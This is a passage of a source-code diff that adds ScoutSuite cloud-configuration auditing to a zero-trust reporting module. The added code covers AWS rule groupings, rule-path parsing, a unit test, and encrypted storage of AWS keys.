SNSRules.SNS_TOPIC_WORLD_RECEIVE_POLICY, + SNSRules.SNS_TOPIC_WORLD_PUBLISH_POLICY, + SNSRules.SNS_TOPIC_WORLD_DELETETOPIC_POLICY, + SNSRules.SNS_TOPIC_WORLD_ADDPERMISSION_POLICY, + SESRules.SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY, + SESRules.SES_IDENTITY_WORLD_SENDEMAIL_POLICY, + RedshiftRules.REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE + ] + + test = zero_trust_consts.TEST_SCOUTSUITE_RESTRICTIVE_POLICIES + + +class Logging(ScoutSuiteFindingMap): + rules = [ + CloudTrailRules.CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING, + CloudTrailRules.CLOUDTRAIL_NO_DATA_LOGGING, + CloudTrailRules.CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING, + CloudTrailRules.CLOUDTRAIL_NO_LOG_FILE_VALIDATION, + CloudTrailRules.CLOUDTRAIL_NO_LOGGING, + CloudTrailRules.CLOUDTRAIL_NOT_CONFIGURED, + CloudWatchRules.CLOUDWATCH_ALARM_WITHOUT_ACTIONS, + ELBRules.ELB_NO_ACCESS_LOGS, + S3Rules.S3_BUCKET_NO_LOGGING, + ELBv2Rules.ELBV2_NO_ACCESS_LOGS, + VPCRules.SUBNET_WITHOUT_FLOW_LOG, + ConfigRules.CONFIG_RECORDER_NOT_CONFIGURED, + RedshiftRules.REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED + ] + + test = zero_trust_consts.TEST_SCOUTSUITE_LOGGING + + +class ServiceSecurity(ScoutSuiteFindingMap): + rules = [ + CloudformationRules.CLOUDFORMATION_STACK_WITH_ROLE, + ELBv2Rules.ELBV2_HTTP_REQUEST_SMUGGLING, + RDSRules.RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED, + RDSRules.RDS_INSTANCE_NO_MINOR_UPGRADE, + RedshiftRules.REDSHIFT_CLUSTER_NO_VERSION_UPGRADE + ] + + test = zero_trust_consts.TEST_SCOUTSUITE_SERVICE_SECURITY diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py new file mode 100644 index 000000000..d19c2b216 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py @@ -0,0 +1,5 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import RestrictivePolicies, \ + SecureAuthentication, DataLossPrevention, UnencryptedData, PermissiveFirewallRules, ServiceSecurity, Logging + +SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, + RestrictivePolicies, Logging, ServiceSecurity] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py new file mode 100644 index 000000000..a31c83d3e --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py @@ -0,0 +1,31 @@ +from enum import Enum + +SERVICES = 'services' +FINDINGS = 'findings' + + +class SERVICE_TYPES(Enum): + ACM = 'acm' + AWSLAMBDA = 'awslambda' + CLOUDFORMATION = 'cloudformation' + CLOUDTRAIL = 'cloudtrail' + CLOUDWATCH = 'cloudwatch' + CONFIG = 'config' + DIRECTCONNECT = 'directconnect' + EC2 = 'ec2' + EFS = 'efs' + ELASTICACHE = 'elasticache' + ELB = 'elb' + ELB_V2 = 'elbv2' + EMR = 'emr' + IAM = 'iam' + KMS = 'kms' + RDS = 'rds' + REDSHIFT = 'redshift' + ROUTE53 = 'route53' + S3 = 's3' + SES = 'ses' + SNS = 'sns' + SQS = 'sqs' + VPC = 'vpc' + SECRETSMANAGER = 'secretsmanager' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py new file mode 100644 index 000000000..935f1c989 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -0,0 +1,38 @@ +from enum import Enum + +from common.utils.code_utils import get_value_from_dict +from common.utils.exceptions import RulePathCreatorNotFound +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \ + RULE_PATH_CREATORS_LIST + + +def __build_rule_to_rule_path_creator_hashmap(): + hashmap = {} + for rule_path_creator in RULE_PATH_CREATORS_LIST: + for rule_name in rule_path_creator.supported_rules: + hashmap[rule_name] = rule_path_creator + return hashmap + + +RULE_TO_RULE_PATH_CREATOR_HASHMAP = __build_rule_to_rule_path_creator_hashmap() + + +class RuleParser: + + @staticmethod + def get_rule_data(scoutsuite_data: dict, rule_name: Enum) -> dict: + rule_path = RuleParser._get_rule_path(rule_name) + return get_value_from_dict(scoutsuite_data, rule_path) + + @staticmethod + def _get_rule_path(rule_name: Enum): + creator = RuleParser._get_rule_path_creator(rule_name) + return creator.build_rule_path(rule_name) + + @staticmethod + def _get_rule_path_creator(rule_name: Enum): + try: + return RULE_TO_RULE_PATH_CREATOR_HASHMAP[rule_name] + except KeyError: + raise RulePathCreatorNotFound(f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" + f"this rule to any rule path creators.") diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py new file mode 100644 index 000000000..ee7f7c38b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -0,0 +1,24 @@ +from abc import ABC, abstractmethod +from enum import Enum +from typing import List, Type + +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICE_TYPES + + +class AbstractRulePathCreator(ABC): + + @property + @abstractmethod + def service_type(self) -> SERVICE_TYPES: + pass + + @property + @abstractmethod + def supported_rules(self) -> Type[RuleNameEnum]: + pass + + @classmethod + def build_rule_path(cls, rule_name: Enum) -> List[str]: + assert(rule_name in cls.supported_rules) + return [cls.service_type.value, FINDINGS, rule_name.value] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py new file mode 100644 index 000000000..10adb474c --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class CloudformationRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.CLOUDFORMATION + supported_rules = CloudformationRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py new file mode 100644 index 000000000..2f626dfd5 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class CloudTrailRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.CLOUDTRAIL + supported_rules = CloudTrailRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py new file mode 100644 index 000000000..f6d4d673d --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class CloudWatchRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.CLOUDWATCH + supported_rules = CloudWatchRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py new file mode 100644 index 000000000..59a2e49eb --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class ConfigRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.CONFIG + supported_rules = ConfigRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py new file mode 100644 index 000000000..4a37b0a7e --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class EC2RulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.EC2 + supported_rules = EC2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py new file mode 100644 index 000000000..a38ae2881 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class ELBRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.ELB + supported_rules = ELBRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py new file mode 100644 index 000000000..2472bf076 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class ELBv2RulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.ELB_V2 + supported_rules = ELBv2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py new file mode 100644 index 000000000..a601cb9cd --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class IAMRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.IAM + supported_rules = IAMRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py new file mode 100644 index 000000000..0b8bf54af --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class RDSRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.RDS + supported_rules = RDSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py new file mode 100644 index 000000000..4de7016a4 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class RedshiftRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.REDSHIFT + supported_rules = RedshiftRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py new file mode 100644 index 000000000..4c0a0dccc --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class S3RulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.S3 + supported_rules = S3Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py new file mode 100644 index 000000000..c7cac2bce --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class SESRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.SES + supported_rules = SESRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py new file mode 100644 index 000000000..60a2f5b1c --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class SNSRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.SNS + supported_rules = SNSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py new file mode 100644 index 000000000..619cf2ddb --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class SQSRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.SQS + supported_rules = SQSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py new file mode 100644 index 000000000..280d0933e --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class VPCRulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.VPC + supported_rules = VPCRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py new file mode 100644 index 000000000..4dce7ed2b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py @@ -0,0 +1,35 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + cloudformation_rule_path_creator import CloudformationRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + cloudtrail_rule_path_creator import CloudTrailRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + cloudwatch_rule_path_creator import CloudWatchRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + config_rule_path_creator import ConfigRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + ec2_rule_path_creator import EC2RulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + elb_rule_path_creator import ELBRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + elbv2_rule_path_creator import ELBv2RulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + iam_rule_path_creator import IAMRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + rds_rule_path_creator import RDSRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + redshift_rule_path_creator import RedshiftRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + s3_rule_path_creator import S3RulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + ses_rule_path_creator import SESRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + sns_rule_path_creator import SNSRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ + sqs_rule_path_creator import SQSRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ + vpc_rule_path_creator import VPCRulePathCreator + +RULE_PATH_CREATORS_LIST = [EC2RulePathCreator, ELBv2RulePathCreator, RDSRulePathCreator, RedshiftRulePathCreator, + S3RulePathCreator, IAMRulePathCreator, CloudTrailRulePathCreator, ELBRulePathCreator, + VPCRulePathCreator, CloudWatchRulePathCreator, SQSRulePathCreator, SNSRulePathCreator, + SESRulePathCreator, ConfigRulePathCreator, CloudformationRulePathCreator] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py new file mode 100644 index 000000000..afe14c54c --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py @@ -0,0 +1,37 @@ +from enum import Enum + +import pytest + +from common.utils.exceptions import RulePathCreatorNotFound +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser +from monkey_island.cc.services.zero_trust.test_common.raw_scoutsute_data import RAW_SCOUTSUITE_DATA + + +class ExampleRules(Enum): + NON_EXSISTENT_RULE = 'bogus_rule' + + +ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL + +EXPECTED_RESULT = {'description': 'Security Group Opens All Ports to All', + 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + 'level': 'danger', + 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id', + 'items': [ + 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups.' + 'sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'], + 'dashboard_name': 'Rules', 'checked_items': 179, 'flagged_items': 2, 'service': 'EC2', + 'rationale': 'It was detected that all ports in the security group are open <...>', + 'remediation': None, 'compliance': None, 'references': None} + + +def test_get_rule_data(): + # Test proper parsing of the raw data to rule + results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ALL_PORTS_OPEN) + assert results == EXPECTED_RESULT + + with pytest.raises(RulePathCreatorNotFound): + RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ExampleRules.NON_EXSISTENT_RULE) + pass diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py new file mode 100644 index 000000000..701598168 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -0,0 +1,52 @@ +from typing import Tuple + +from ScoutSuite.providers.base.authentication_strategy import AuthenticationException + +from common.cloud.scoutsuite_consts import CloudProviders +from common.utils.exceptions import InvalidAWSKeys +from monkey_island.cc.server_utils.encryptor import encryptor +from monkey_island.cc.services.config import ConfigService +from common.config_value_paths import AWS_KEYS_PATH + + +def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: + if provider == CloudProviders.AWS.value: + if is_aws_keys_setup(): + return True, "AWS keys already setup." + + import ScoutSuite.providers.aws.authentication_strategy as auth_strategy + try: + profile = auth_strategy.AWSAuthenticationStrategy().authenticate() + return True, f" Profile \"{profile.session.profile_name}\" is already setup. " + except AuthenticationException: + return False, "" + + +def is_aws_keys_setup(): + return (ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_access_key_id']) and + ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_secret_access_key'])) + + +def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str): + if not access_key_id or not secret_access_key: + raise InvalidAWSKeys("Missing some of the following fields: access key ID, secret access key.") + _set_aws_key('aws_access_key_id', access_key_id) + _set_aws_key('aws_secret_access_key', secret_access_key) + _set_aws_key('aws_session_token', session_token) + + +def _set_aws_key(key_type: str, key_value: str): + path_to_keys = AWS_KEYS_PATH + encrypted_key = encryptor.enc(key_value) + ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key) + + +def get_aws_keys(): + return {'access_key_id': _get_aws_key('aws_access_key_id'), + 'secret_access_key': _get_aws_key('aws_secret_access_key'), + 'session_token': _get_aws_key('aws_session_token')} + + +def _get_aws_key(key_type: str): + path_to_keys = AWS_KEYS_PATH + return ConfigService.get_config_value(config_key_as_arr=path_to_keys + [key_type]) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py new file mode 100644 index 000000000..3b76194af --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py @@ -0,0 +1,30 @@ +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule +from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts + + +class ScoutSuiteRuleService: + + @staticmethod + def get_rule_from_rule_data(rule_data: dict) -> ScoutSuiteRule: + rule = ScoutSuiteRule() + rule.description = rule_data['description'] + rule.path = rule_data['path'] + rule.level = rule_data['level'] + rule.items = rule_data['items'] + rule.dashboard_name = rule_data['dashboard_name'] + rule.checked_items = rule_data['checked_items'] + rule.flagged_items = rule_data['flagged_items'] + rule.service = rule_data['service'] + rule.rationale = rule_data['rationale'] + rule.remediation = rule_data['remediation'] + rule.compliance = rule_data['compliance'] + rule.references = rule_data['references'] + return rule + + @staticmethod + def is_rule_dangerous(rule: ScoutSuiteRule): + return rule.level == rule_consts.RULE_LEVEL_DANGER and len(rule.items) != 0 + + @staticmethod + def is_rule_warning(rule: ScoutSuiteRule): + return rule.level == rule_consts.RULE_LEVEL_WARNING and len(rule.items) != 0 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py new file mode 100644 index 000000000..63befc808 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py @@ -0,0 +1,65 @@ +from typing import List + +from common.common_consts import zero_trust_consts +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ScoutSuiteFindingMap +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService + + +class ScoutSuiteZTFindingService: + + @staticmethod + def process_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): + existing_findings = ScoutSuiteFinding.objects(test=finding.test) + assert (len(existing_findings) < 2), "More than one finding exists for 